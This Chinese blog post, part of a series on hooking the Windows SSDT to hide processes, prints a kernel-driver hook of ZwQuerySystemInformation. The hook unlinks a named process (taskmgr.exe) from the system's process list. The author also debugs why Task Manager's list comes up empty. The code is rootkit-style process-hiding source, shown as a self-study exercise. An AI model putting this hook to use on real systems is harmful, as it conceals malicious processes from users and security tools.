HOOK SSDT Hide Process （七）

[资料] http://www.cppblog.com/sleepwom/archive/2009/10/24/99375.html

继 HOOK SSDT Hide Process （六）  

下面这个函数有问题，运行之后，Taskmgr.exe 里面的进程列表估然显示为空

NTSTATUS MyZwQuerySystemInformation(IN ULONG SystemInformationClass, 
                                    IN PVOID SystemInformation, 
                                    IN ULONG SystemInformationLength, 
                                    OUT PULONG ReturnLength)  // 定义自己的Hook函数
{ 
    
    NTSTATUS rc; 
    UNICODE_STRING process_name;
    
    RtlInitUnicodeString( & process_name, L " taskmgr.exe " );
    
    rc  =  (OldZwQuerySystemInformation) ( 
        SystemInformationClass, 
        SystemInformation, 
        SystemInformationLength, 
        ReturnLength); 
    
     if (NT_SUCCESS(rc)) 
    {
        
         if ( 5   ==  SystemInformationClass)
        { 
            
             struct  _SYSTEM_PROCESSES  * curr  =  ( struct  _SYSTEM_PROCESSES  * )SystemInformation; 
             struct  _SYSTEM_PROCESSES  * prev  =  NULL; 
            
             if (curr -> NextEntryDelta)
                curr  =  (_SYSTEM_PROCESSES  * )((ULONG)curr  +  curr -> NextEntryDelta); 
            
             while (curr)
            {
                 if  (RtlEqualUnicodeString( & process_name,  & curr -> ProcessName,  1 ))
                {
                    KdPrint(( " hide process'name taskmgr.exe " ));
                    
                     if (prev) 
                    { 
                         if (curr -> NextEntryDelta)
                        {
                            prev -> NextEntryDelta  +=  curr -> NextEntryDelta;
                        } 
                         else
                        {
                            prev -> NextEntryDelta  =   0 ;
                        }
                    }
                     else
                    {
                         if (curr -> NextEntryDelta)
                        {
                            SystemInformation  = (PVOID)((ULONG)SystemInformation  +  curr -> NextEntryDelta);
                        }
                         else
                        {
                            SystemInformation  =  NULL;
                        }
                    }
                    
                     if (curr -> NextEntryDelta)
                        curr  =  (_SYSTEM_PROCESSES  * )((ULONG)curr  +  curr -> NextEntryDelta);
                     else
                    {
                        curr  =  NULL;
                         break ;
                    }
                    
                }  //  if (RtlEqualUnicodeString(&process_name, &curr->ProcessName, 1))
                
                 if (curr  !=  NULL)
                {
                    prev  =  curr;
                    
                     if (curr -> NextEntryDelta)
                        curr  =  (_SYSTEM_PROCESSES  * )((ULONG)curr  +  curr -> NextEntryDelta);
                     else
                        curr  =  NULL;
                    
                } //  if(curr != NULL)
                
            } //  while(curr) 
            
        } //  if(5 == SystemInformationClass)
        
    } //  if(NT_SUCCESS(rc))
    
     //  KdPrint(("HookZwQuerySystemInformation is Succeessfully. \n"));
     return  rc;
}

使用自己的查询进程EXE( HOOK SSDT Hide Process （五） )，显示结果是正常的

驱动中判断的是 taskmgr.exe ，在遍历时， taskmgr.exe 刚好在最好一个，把 NextEntryDelta 设置为 0 了
如果是其它的 abc.exe ，然后再打开 taskmgr.exe 是没问题的

看来，HOOK SSDT Hide Process （五） 遍历进程的实现 跟 Taskmgr.exe 的实现有差异, 需要再找时间看下原因

从 MyZwQuerySystemInformation() 的实现来看，只是简单地修改了下 NextEntryDelta ，并非真正意义上的'隐藏'
还是会把数据传给用户态。